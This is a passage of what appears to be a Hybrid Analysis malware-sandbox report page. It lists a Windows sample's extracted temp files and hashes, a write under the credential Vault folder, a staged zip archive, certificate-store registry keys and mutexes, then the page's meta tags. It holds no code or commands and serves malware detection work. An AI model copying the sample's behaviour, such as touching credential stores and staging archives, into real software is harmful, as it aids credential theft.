.dll","powrprof.dll","mswsock.dll","ncrypt.dll","ntasn1.dll","version.dll","msvcrt.dll","webio.dll","msasn1.dll","srvcli.dll","imm32.dll","combase.dll","GdiPlus.dll","advapi32.dll","WindowsCodecs.dll","mpr.dll"]},"file_activity":{"dropped_files":[],"extracted_files":[{"name":"aff27a96a8e11600de0b8c7f84e1a817717b9b55e1ac44039a8978b9a3287359","sha256":"aff27a96a8e11600de0b8c7f84e1a817717b9b55e1ac44039a8978b9a3287359","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""}]},{"name":"akg_362d8ec0_2.tmp","sha256":"d286c7aa59052c28a12e65c92aaf67b371b4006c9606c1bb9e1e2ec12db31813","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"akg_362d8ec0_1.tmp","sha256":"d286c7aa59052c28a12e65c92aaf67b371b4006c9606c1bb9e1e2ec12db31813","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"akg_362d8ed0_3.tmp","sha256":"8b6115570ff44acf6b0f3ad303c95a59123f3190624b83aadfb450122f0f46cc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"akg_362d8ed0_4.tmp","sha256":"52de55223b143a2b84bcd9877c7fd130e9b38d0723c755d024d9d85488c2b7b3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"akg_362d8eef_5.tmp","sha256":"e2aff78aecb13f44069b96909885f3c4c7a6b202408f41160741a2f6fdbce3b5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"akg_362d9488_6.tmp","sha256":"7981ac3fbef53f433da1c1a2521e8d593fcfc5b67297e16a82a1c59b3c3719af","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"akg_362d9498_7.tmp","sha256":"1da3dc6847c1990755bc940af3eed0d7fc6eca48297c9f8032fce8aeebf8c247","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"akg_362d94a7_8.tmp","sha256":"98fbc6a16f5ba6b4d6c9055e287600c86f142008aeef44d1c4a20cac8a790314","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"akg_362d94c6_9.tmp","sha256":"09476c4b800a057e79a2cc4cd9326987840438ef7cb05ee6e3a32d50148e2e6c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"akg_362d94e6_a.tmp","sha256":"770f1f46637f5e9ff091f631f999d1453764eaccffccea3ccb8590c79fee964c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"akg_debug.txt","sha256":"7e30e52447fc17ea212f2d8395958dd5e46edb80b60dd7d7b47e31fdade0a741","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"akg_ff_362d9747.tmp","sha256":"bf5c7a4b553425057e22a5205fb420fb591f802357362cb0db7efeec7c3d6532","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"~DF538a.tmp","sha256":"06cd083f117ce94bc3cf55753b6ccd8d435c817b042f9456eb9af49be9a09e6b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"~DF5d0a.tmp","sha256":"06cd083f117ce94bc3cf55753b6ccd8d435c817b042f9456eb9af49be9a09e6b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"~DF5f31.tmp","sha256":"06cd083f117ce94bc3cf55753b6ccd8d435c817b042f9456eb9af49be9a09e6b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"~DFb73.tmp","sha256":"06cd083f117ce94bc3cf55753b6ccd8d435c817b042f9456eb9af49be9a09e6b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"test_output.zip","sha256":"b2fd5eb49d2a63fbcfee43fe776d1eba3521baf4657daae21243b81e9d1abfd3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]}],"files_written":[{"path":"%TEMP%\\akg_debug.txt","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"path":"%TEMP%\\~DF5d0a.tmp","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"path":"%TEMP%\\~DF538a.tmp","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"path":"%TEMP%\\~DF5f31.tmp","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"path":"%TEMP%\\akg_362d8ec0_1.tmp","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"path":"%TEMP%\\akg_362d8ec0_2.tmp","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"path":"%TEMP%\\akg_362d8ed0_3.tmp","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"path":"%TEMP%\\akg_362d8ed0_4.tmp","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"path":"%TEMP%\\akg_362d8eef_5.tmp","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"path":"%TEMP%\\akg_362d9488_6.tmp","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"path":"%TEMP%\\akg_362d9498_7.tmp","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"path":"%TEMP%\\akg_362d94a7_8.tmp","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"path":"%TEMP%\\akg_362d94c6_9.tmp","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"path":"%TEMP%\\akg_362d94e6_a.tmp","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"path":"%TEMP%\\akg_ff_362d9747.tmp","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"path":"%APPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"path":"%APPDATA%\\Microsoft\\Vault","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"path":"%TEMP%\\~DFb73.tmp","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"path":"C:\\test_output.zip","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"path":"pipe\\akg_e8803712_498","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"path":"pipe\\akg_e88031e1_498","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1176:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1176:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"Local\\SM0:1176:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"SM0:1176:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4308:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4308:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"SM0:4308:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"Local\\SM0:4308:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4772:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4772:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"Local\\SM0:4772:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"SM0:4772:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:9008:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"SM0:9008:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:952:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:952:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"Local\\SM0:952:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"SM0:952:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2132:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2132:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"Local\\SM0:2132:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"SM0:2132:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8452:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8452:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"Local\\SM0:8452:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"SM0:8452:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8500:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8500:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"SM0:8500:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"Local\\SM0:8500:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8020:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8020:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"Local\\SM0:8020:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"SM0:8020:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2924:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"SM0:2924:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"Local\\SM0:2924:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2924:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5528:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"Local\\SM0:5528:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"SM0:5528:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"SM0:5528:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5528:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5528:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]}]}},"report_ids":{"sandbox_job_ids":["6ac0055a73a72ea06c0f5d20"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Win/malicious_confidence_90% Sample 8995859db6a5… — Score 88/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 8995859db6a5…. Malware family: Win/malicious_confidence_90%. Threat score 88/100. 4/24 AV engines flagged this file. 16 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce"}],["$","meta","4",{"property":"og:title","content":"Malicious Win/malicious_confidence_90% Sample 8995859db6a5… — Score 88/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 8995859db6a5…. Malware family: Win/malicious_confidence_90%. Threat score 88/100. 4/24 AV engines flagged this file. 16 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Win/malicious_confidence_90% Sample 8995859db6a5… — Score 88/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 8995859db6a5…. Malware family: Win/malicious_confidence_90%. Threat score 88/100. 4/24 AV engines flagged this file. 16 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L64","11",{}]]